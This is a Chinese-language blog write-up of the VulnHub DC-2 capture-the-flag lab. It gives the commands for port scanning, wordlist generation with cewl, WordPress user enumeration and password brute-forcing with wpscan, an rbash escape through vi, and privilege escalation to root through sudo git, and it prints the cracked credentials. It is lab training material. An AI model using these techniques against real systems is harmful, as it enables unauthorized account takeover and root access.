靶机DC-2题解

vulnhub发布了新的DC-2靶机,之前分析过DC-1,这次把靶机DC-2的题解过程记录下。

前言

下载地址

1
https://www.vulnhub.com/entry/dc-2,311/

靶机共五个flag

IP扫描

使用vm打开靶机,将靶机和kali linux设置同一网段下。

先使用nmap扫描,找到靶机的ip地址。

主机ip为192.168.227.133,不同电脑ip不相同。

端口扫描

1
nmap -sS 192.168.227.133 -p-

扫描结果如下:

发现80位http服务,7744为ssh服务。

根据靶机描述,需要修改hosts文件,不然无法访问主机。linux在/etc/hosts下,windows在C:\Windows\System32\drivers\etc\hosts,无法修改的话需要管理员权限。

1
192.168.227.133 dc-2

信息收集

首先访问站点,发现是wordpress站点,在文章页面发现第一个flag。

1
2
3
4
5
6
7
8
9
Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

cewl

cewl是一个ruby应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John the ripper工具里进行密码破解。

根据第一个flag提示,使用cewl爬去页面,生成一个字典。

1
cewl dc-2 -w pass.txt

-w将结果输出到pass.txt中。

wpscan

首先收集一下后台的用户,使用kali自带的wpscan扫描,获取用户信息。

1
wpscan --url dc-2 -e u

存在三个用户,分别为adminjerrytom。根据cewl爬去的结构,使用wpscan爆破密码。

1
2
3
4
wpscan --url dc-2 -e u -P pass.txt
=====>
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - jerry / adipiscing [SUCCESS] - tom / parturient

登录到后台的wp站点,默认后台路径为wp-admin。在Pages页面发现第二个flag。

提权

SSH

现在已知了后台的账号,密码。尝试ssh连接,tom的账号尝试成功。

1
ssh [email protected] -p 7744

在tom账号的home目录下发现第三个flag。但又有rbash的限制,无法读取。需要绕过限制。

参考文章:

1
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

在vi编辑器下执行如下命令,此时的shell环境是处于vi下面的。

1
2
:set shell=/bin/bash
:shell

修改shell的环境变量,如下:

1
2
export SHELL="/bin/bash"
export PATH="/usr/bin:/usr/sbin:/sbin:/bin"

此时已经绕过了rbash的限制,读取第三个flag。

1
2
3
Flag 3:

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

root

查看/etc/passwd,发现存在jerry用户。使用su命令切换至jerry用户,用之前爆出的密码切换成功。

在jerry一会的home目录下读取第四个flag.

1
2
3
4
5
6
7
8
9
flag4:

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!

猜测最后一个flag在root的home目录下,需要将取消提至root权限。使用sudo -l 命令查看可以本账户可以使用的root权限。如下:

jerry用户可以在不需要root密码的情况下执行/usr/bin/git命令。

使用suid提权,执行如下执行

1
sudo /usr/bin/git help add

在指令查看页面执行如下指令:

此时为root权限,得到最后一个flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 __    __     _ _       _                    _ 
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.
Author: Sys71m
Link: https://www.sys71m.top/2019/03/28/靶机DC-2题解/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.